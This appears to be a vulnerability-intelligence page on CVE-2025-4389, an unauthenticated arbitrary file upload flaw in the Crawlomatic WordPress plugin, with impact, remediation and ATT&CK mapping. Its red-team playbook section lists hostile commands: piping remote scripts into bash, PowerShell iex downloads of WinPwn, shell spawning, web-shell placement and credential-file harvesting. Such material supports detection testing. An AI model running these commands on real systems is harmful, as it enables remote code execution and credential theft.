CVE-2025-4389
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation within the crawlomatic_generate_featured_image() function of the Crawlomatic Multipage Scraper Post Generator WordPress plugin. The root cause is the failure to properly restrict uploaded file extensions or content types, allowing any file to be accepted and stored on the server. The affected component is the image generation feature responsible for processing user-supplied input during post creation in all plugin versions up to 2.6.8.1.
Vulnerability Description
The Crawlomatic Multipage Scraper Post Generator plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the crawlomatic_generate_featured_image() function in all versions up to, and including, 2.6.8.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files to the affected server, potentially enabling remote code execution. Since no authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), the attacker can execute malicious code remotely, leading to full compromise of the web server hosting the WordPress site. This can result in data breaches, site defacement, or further lateral movement within the network.
Solution
Users of the Crawlomatic Multipage Scraper Post Generator plugin should upgrade to a version later than 2.6.8.1 where this vulnerability is fixed. Detailed patch information and update instructions are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/1283e839-8588-4a76-9c1e-61562526166d. Applying the vendor-provided update is the recommended remediation to restore proper file validation controls.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Crawlomatic Multipage Scraper Post Generator plugin for WordPress arises from inadequate file type validation within the crawlomatic_generate_featured_image() function. This oversight allows unauthenticated users to upload arbitrary files to the server hosting the affected WordPress site. The lack of stringent checks on file types means that attackers can exploit this weakness to upload malicious scripts or executables disguised as benign files. Once uploaded, these files can be executed on the server, leading to potential remote code execution, which poses a significant threat to the integrity and security of the web application.
Attack vectors for this vulnerability are relatively straightforward, primarily involving the use of crafted HTTP requests to trigger the file upload functionality without proper authentication. An attacker could leverage automated tools or scripts to exploit this flaw, making it accessible even to those with limited technical skills. Scenarios may include uploading a web shell or other malicious payloads that provide the attacker with control over the server. This access could be used for various nefarious purposes, such as data exfiltration, defacement of the website, or pivoting to other systems within the network.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on their online presence for business operations. Successful exploitation could lead to unauthorized access to sensitive data, loss of customer trust, and significant financial repercussions. Additionally, the potential for lateral movement within the network can expose other critical systems to compromise, amplifying the risk. Businesses may also face regulatory scrutiny and legal consequences if customer data is breached, further complicating the aftermath of an attack.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security audits and vulnerability assessments can help identify weaknesses in plugins and themes used within WordPress installations. Employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Furthermore, organizations should ensure that all plugins are kept up to date and consider removing or replacing those that are no longer maintained or pose significant risks. Implementing strict file type validation and employing security best practices for file uploads can also help mitigate the risk of arbitrary file uploads.
In conclusion, the vulnerability within the Crawlomatic Multipage Scraper Post Generator plugin highlights the critical importance of robust input validation and security practices in web applications. Organizations must remain vigilant and proactive in their security posture to defend against such vulnerabilities, ensuring that their web environments are resilient against potential exploitation. By adopting comprehensive detection and mitigation strategies, businesses can better protect themselves from the risks associated with arbitrary file uploads and maintain the integrity of their online operations.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Yucaerin/CVE-2025-4389
Crawlomatic Multipage Scraper Post Generator <= 2.6.8.1 - Unauthenticated Arbitrary File Upload
|
Yucaerin | 0 | 1 | 2025-05-26 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-4389 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/1283e839-8588-4a76-9c1e-61562526166d?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/crawlomatic-multisite-scraper-post-generator-plugin-for-wordpress/20476010 |